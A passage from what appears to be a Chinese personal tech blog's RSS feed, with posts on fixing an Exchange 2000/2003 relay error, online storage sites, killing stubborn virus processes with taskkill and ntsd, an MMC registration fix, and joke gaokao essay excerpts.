&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;span style="color: #99cc00;"&gt;&lt;span&gt;&lt;span style="mso-tab-count: 1"&gt;&lt;span style="font-family: Times New Roman;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;错误原因：&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt;"&gt;Exchange 2000 &lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt;"&gt;组织或&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt;"&gt; Exchange 2003 &lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt;"&gt;组织中可能没有相应于目标域的收件人策略。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;span style="color: #99cc00;"&gt;&lt;span&gt;&lt;span style="mso-tab-count: 1"&gt;&lt;span style="font-family: Times New Roman;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;解决方法：开始－&lt;/span&gt;&lt;span&gt;&lt;span style="font-family: Times New Roman;"&gt;Microsoft Exchange&lt;/span&gt;&lt;/span&gt;&lt;span&gt;－系统管理器－收件人－收件人策略－&lt;/span&gt;&lt;span&gt;&lt;span style="font-family: Times New Roman;"&gt;default policy &lt;/span&gt;&lt;/span&gt;&lt;span&gt;右键属性　选择选项卡&amp;ldquo;电子邮箱地址策略&amp;rdquo;编辑&amp;ldquo;&lt;/span&gt;&lt;span&gt;&lt;span style="font-family: Times New Roman;"&gt;SMTP&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;rdquo;把地址设置为邦定的域名。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;span&gt;&lt;span style="color: #99cc00;"&gt;如果还不能解决问题请参考下面&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;span style="color: #99cc00;"&gt;&lt;span&gt;（原文地址&lt;/span&gt;&lt;span&gt;&lt;span style="font-family: Times New Roman;"&gt;http://www.5dmail.net/bbs/thread-3214-1-1.html&lt;/span&gt;&lt;/span&gt;&lt;span&gt;）&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 12pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align="left"&gt;&lt;span style="color: #99cc00;"&gt;&lt;strong&gt;&lt;span style="color: #333333; font-size: 8pt; mso-bidi-font-size: 12.0pt; mso-font-kerning: 0pt;"&gt;[&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="color: #333333; font-size: 8pt; mso-bidi-font-size: 12.0pt; mso-font-kerning: 0pt;"&gt;分享&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="color: #333333; font-size: 8pt; mso-bidi-font-size: 12.0pt; mso-font-kerning: 0pt;"&gt;]&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="color: #333333; font-size: 8pt; mso-bidi-font-size: 12.0pt; mso-font-kerning: 0pt;"&gt;未送达报告&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="color: #333333; font-size: 8pt; mso-bidi-font-size: 12.0pt; mso-font-kerning: 0pt;"&gt; 550 5.7.1&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="color: #333333; font-size: 8pt; mso-bidi-font-size: 12.0pt; mso-font-kerning: 0pt;"&gt;：无法中继&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align="left"&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;&lt;span style="color: #99cc00;"&gt;症状&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #99cc00;"&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;尝试向&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt; Exchange 2000 Server &lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;收件人或&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt; Exchange Server 2003 &lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;收件人发送邮件时，邮件可能没有传递。发件人可能会收到一份来自系统管理员的未送达报告&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt; (NDR)&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;，类似于下面的内容：&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #99cc00;"&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt; &lt;br /&gt;&lt;br /&gt;The following recipient(s) could not be reached:&lt;br /&gt;&lt;br /&gt;User1@domain.com on 11/01/00 8:14 AM&lt;br /&gt;&lt;br /&gt;The originator does not have permission to submit message&lt;br /&gt;dns;Sendingdomain.com failed 5.7.1 smtp;550&lt;br /&gt;5.7.1 Unable to relay for User1@domain.com &lt;br /&gt;&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;原因&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #99cc00;"&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;造成这种错误的原因有多种，最常见的一种是&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt; Exchange 2000 &lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;组织或&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt; Exchange 2003 &lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;组织中可能没有相应于目标域的收件人策略。&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #99cc00;"&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt; &lt;br /&gt;&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;解决方案&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;&lt;span style="color: #99cc00;"&gt;请为目标域添加一个收件人策略。为此，请按下列步骤操作：&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #99cc00;"&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt; &lt;br /&gt;&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;在&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt; Exchange &lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;系统管理器中，展开&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;&amp;ldquo;&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;收件人&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;&amp;rdquo;&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;对象，然后展开&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;&amp;ldquo;&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;收件人策略&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;&amp;rdquo;&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;对象。&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;&lt;span style="color: #99cc00;"&gt;在右侧的窗格中，右键单击默认策略，然后单击属性。单击电子邮件地址选项卡。&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #99cc00;"&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;单击添加添加新的&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt; SMTP &lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;地址。&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #99cc00;"&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;在&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt; SMTP &lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;地址属性对话框中的地址字段中，输入&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #99cc00;"&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt; &lt;br /&gt;@expecteddomain.com&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;其中，&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;@expecteddomain.com &lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;是发件人尝试将邮件发送到的域。单击应用，然后单击确定。&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #99cc00;"&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;在默认策略属性对话框中，单击电子邮件地址选项卡，然后单击以选中所创建的&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt; SMTP &lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;地址旁边的复选框。&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;&lt;span style="color: #99cc00;"&gt;单击应用。在收到以下通知时单击是：&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;&lt;br /&gt;&lt;span style="color: #99cc00;"&gt;The e-mail Addresses of type(s) [smtp] have been modified.&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #99cc00;"&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;（&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;[smtp] &lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;类型的电子邮件地址已修改。）&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;Do you want to update all corresponding recipient e-mail addresses to match these new address(es)?&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;（要更新所有相应的收件人电子邮件地址以匹配这些新地址吗&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;?&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;）&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #99cc00;"&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt; &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;注意：如果希望使新的&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt; SMTP &lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;地址成为您的&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt; Exchange 2000 &lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;组织中所有用户的默认答复地址，请单击该新地址，单击&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;&amp;ldquo;&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;设为主地址&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;&amp;rdquo;&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;，单击应用，然后单击确定。&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #99cc00;"&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt; &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;如果需要立即更新这些地址，请强制收件人更新服务更新您的&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt; Exchange &lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;服务器和组织。为此，请遵循&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;&amp;ldquo;&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;更多信息&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;&amp;rdquo;&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;部分的&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt; Microsoft &lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;知识库文章中的说明。&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #99cc00;"&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt; &lt;br /&gt;&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;更多信息&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #99cc00;"&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;虽然存在将域定向到运行&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt; Exchange 2000 &lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;或&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt; Exchange 2003 &lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;的计算机的域名系统&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt; (DNS) &lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;记录，但是可能并没有创建相匹配的收件人策略。应为每个定向到&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt; Exchange 2000 &lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;服务器或&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt; Exchange 2003 &lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;服务器的域创建一个收件人策略。收件人策略控制&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt; SMTP &lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;的行为以及标记用户的代理地址。有关其他信息，请单击下面的文章编号，以查看&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt; Microsoft &lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;知识库中相应的文章：&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #99cc00;"&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt; &lt;br /&gt;275294 XADM:Recipient Update Service Is Not Created Automatically &lt;br /&gt;&lt;br /&gt;260973 XCON:SMTP Domains for Inbound and Relay in Exchange 2000 Server &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;请注意，如果在收件人策略中使用的是&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt; Exchange 2000 &lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;服务器或&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt; Exchange 2003 &lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;服务器的完全限定域名&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt; (FQDN)&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;，则应警惕一个潜在的问题。&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt; &lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;有关其他信息，请单击下面的文章编号，以查看&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt; Microsoft &lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;知识库中相应的文章：&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #333333; font-size: 9.5pt; mso-font-kerning: 0pt;"&gt;&lt;span style="color: #99cc00;"&gt; &lt;br /&gt;288175 XCON:Recipient Policy Cannot Match the FQDN of Any Server in the Organization &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=76</guid><pubDate>Sun, 29 Mar 2009 06:21:53 GMT</pubDate></item><item><title>[网络硬盘]五个简单好用的网络硬盘网站</title><link>http://www.chendw.cn:8080/view.aspx?id=75</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;[转自天极]&lt;/p&gt;国外有很多提供网络存储服务的网站，比如mozy，可以用来备份数据及一些文件资料。但是类似的web2.0的产物，却不够简单实用。也许下面将介绍的五款存储服务可以帮到你。 &lt;p&gt;　　&lt;strong&gt;&lt;font color="#ff0033"&gt;DropBoks&lt;/font&gt;&lt;/strong&gt; &lt;font color="#800080"&gt;&lt;a target="_blank" href="https://www.dropboks.com/ "&gt;https://www.dropboks.com/ &lt;/a&gt;&lt;/font&gt; &lt;/p&gt;&lt;p align="center"&gt;&lt;img height="350" alt="DropBoks" width="484" src="http://tools.yesky.com/imagelist/2007/198/19l71tia5him.jpg"&gt;&lt;/p&gt;&lt;p&gt;　　DropBoks是极其简易的，打开页面，你将清楚知道该怎么操作，注册为免费会员后，你将有1GB的存储空间，单个文件限制50MB大小，当然如果你有要求更大，你可以付费使用。&lt;/p&gt;&lt;p&gt;　　&lt;strong&gt;&lt;font color="#ff0033"&gt;Ewedrive&lt;/font&gt;&lt;/strong&gt; &lt;font color="#800080"&gt;https://ewedrive.com/&lt;/font&gt; &lt;/p&gt;&lt;p align="center"&gt;&lt;img height="332" alt="Ewedrive" width="480" src="http://tools.yesky.com/imagelist/2007/198/27in4xhs077g.jpg"&gt;&lt;/p&gt;&lt;p&gt;　　来自英国的Ewedrive 也是提供1GB的免费存储空间，比较好的是它不限制单个文件大小。&lt;/p&gt;&lt;p&gt;　　&lt;strong&gt;&lt;font color="#ff0033"&gt;OneDump&lt;/font&gt;&lt;/strong&gt; http://www.onedump.com/ &lt;/p&gt;&lt;p align="center"&gt;&lt;img height="336" alt="OneDump" width="480" src="http://tools.yesky.com/imagelist/2007/198/nn3guz619y3l.jpg"&gt;&lt;/p&gt;&lt;p&gt;　　需要更快的速度，OK～OneDump 存储空间还是无限制大小的，不过单个文件只有最大5MB，且同时传出10个文件，可用于存储一些文档之类的东西。&lt;/p&gt;&lt;p&gt;　　&lt;strong&gt;&lt;font color="#ff0033"&gt;DropSend&lt;/font&gt;&lt;/strong&gt; http://www.dropsend.com/ &lt;/p&gt;&lt;p align="center"&gt;&lt;img height="359" alt="DropSend" width="480" src="http://tools.yesky.com/imagelist/2007/198/4l580965671a.jpg"&gt;&lt;/p&gt;&lt;p&gt;　　DropSend可以帮你发送大个头的email，当然它也包含在线存储服务，免费的账户提供250MB的空间，如果你花￥99便可升级到250GB。&lt;/p&gt;&lt;p&gt;　　&lt;strong&gt;&lt;font color="#ff0033"&gt;JustUpIt&lt;/font&gt;&lt;/strong&gt; http://www.justupit.com/ &lt;/p&gt;&lt;p align="center"&gt;&lt;img height="289" alt="JustUpIt" width="480" src="http://tools.yesky.com/imagelist/2007/198/2164h02sbu33.jpg"&gt;&lt;/p&gt;&lt;p&gt;　　无需注册，也不用付费，更不用安装什么软件，JustUpIt给你单个文件最大100MB的支持。（本文转自cnbeta）&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=75</guid><pubDate>Sat, 21 Jul 2007 06:23:00 GMT</pubDate></item><item><title>[精品软件系列]word转chm格式工具</title><link>http://www.chendw.cn:8080/view.aspx?id=74</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;div forimg="1"&gt;&lt;img border="0" small="0" class="blogimg" src="http://hiphotos.baidu.com/cdwm/pic/item/8b6b89d432c67306a18bb79f.jpg"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;&lt;a target="_blank" href="http://cdws.gbaopan.com/files/e6487a7069e54f239da1e0bb46d8407c.gbp"&gt;点击下载&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=74</guid><pubDate>Fri, 20 Jul 2007 02:27:00 GMT</pubDate></item><item><title>强行删除Windows进程的方法</title><link>http://www.chendw.cn:8080/view.aspx?id=73</link><description>&lt;div id="blog_text" class="cnt"&gt;
&lt;p&gt;&lt;span style="color: #333333;"&gt;最近电脑老是处问题，今天又中毒了。在system32目录下找到病毒后，想删除却提示正在使用中。然后就上网找到了这个方法和大家分享。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #333333;"&gt;-----------------------------------&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #333333;"&gt;强行删除Windows进程的方法 &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #333333;"&gt;根据进程名查杀 &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #333333;"&gt;这种方法是通过Windows XP系统下的taskkill命令来实现的，在使用该方法之前，首先需要打开系统的进程列表界面，找到病毒进程所对应的具体进程名。 &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #333333;"&gt;接着依次单击&amp;ldquo;开始&amp;rarr;运行&amp;rdquo;命令，在弹出的系统运行框中，运行&amp;ldquo;cmd&amp;rdquo;命令；再在DOS命令行中输入&amp;ldquo;taskkill /im aaa&amp;rdquo;格式的字符串命令，单击回车键后，顽固的病毒进程&amp;ldquo;aaa&amp;rdquo;就被强行杀死了。比方说，要强行杀死&amp;ldquo;conime.exe&amp;rdquo;病毒进程，只要在命令提示符下执行&amp;ldquo;taskkill /im conime.exe&amp;rdquo;命令，要不了多久，系统就会自动返回结果。 &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #333333;"&gt;根据进程号查杀 &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #333333;"&gt;上面的方法，只对部分病毒进程有效，遇到一些更&amp;ldquo;顽固&amp;rdquo;的病毒进程，可能就无济于事了。此时你可以通过Windows2000以上系统的内置命令&amp;mdash;&amp;mdash;ntsd，来强行杀死一切病毒进程，因为该命令除System进程、SMSS.EXE进程、CSRSS.EXE进程不能&amp;ldquo;对付&amp;rdquo;外，基本可以对付其它一切进程。但是在使用该命令杀死病毒进程之前，需要先查找到对应病毒进程的具体进程号。 &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #333333;"&gt;考虑到系统进程列表界面在默认状态下，是不显示具体进程号的，因此你可以首先打开系统任务管理器窗口，再单击&amp;ldquo;查看&amp;rdquo;菜单项下面的&amp;ldquo;选择列&amp;rdquo;命令，在弹出的设置框中，将&amp;ldquo;PID（进程标志符）&amp;rdquo;选项选中，单击&amp;ldquo;确定&amp;rdquo;按钮。返回到系统进程列表页面中后，你就能查看到对应病毒进程的具体PID了。 &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #333333;"&gt;接着打开系统运行对话框，在其中运行&amp;ldquo;cmd&amp;rdquo;命令，在命令提示符状态下输入&amp;ldquo;ntsd -c q -p PID&amp;rdquo;命令，就可以强行将指定PID的病毒进程杀死了。例如，发现某个病毒进程的PID为&amp;ldquo;444&amp;rdquo;，那么可以执行&amp;ldquo;ntsd -c q -p 444&amp;rdquo;命令，来杀死这个病毒进程。&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=73</guid><pubDate>Thu, 09 Apr 2009 12:49:52 GMT</pubDate></item><item><title>[操作系统]MMC不能打开文件</title><link>http://www.chendw.cn:8080/view.aspx?id=72</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;今天很郁闷，一开机就遇到了这样的问题：&lt;/p&gt;&lt;p&gt;MMC不能打开文件......****这可能是由于文件不存在,不是一个MMC控制台,或者是用后来的MMC版本创建&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;上网找了下解决办法，就贴上来了。&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;开始-运行 regsvr32 C:\Windows\system32\msxml3.dll &lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=72</guid><pubDate>Thu, 12 Jul 2007 08:20:00 GMT</pubDate></item><item><title>[娱乐]07高考0分作文酷酷片段</title><link>http://www.chendw.cn:8080/view.aspx?id=71</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;&lt;strong&gt;　　上海卷《必须跨过这道坎》&lt;br&gt;&lt;/strong&gt;　　2007年上海高考语文作文题目为：必须跨过这道坎…&lt;br&gt;　　片段：看还是不看？这是个问题？看，对不起父母社会；不看对不起自己；武腾兰姐姐，你说我到底该怎么办呢？&lt;/p&gt;&lt;p&gt;　　&lt;strong&gt;江苏卷《我们头上的灿烂星空》&lt;/strong&gt;&lt;br&gt;　　2007年江苏高考语文作文题：我们头上的灿烂星空…&lt;br&gt;　　片段：我们头上的灿烂星空？？&lt;br&gt;　　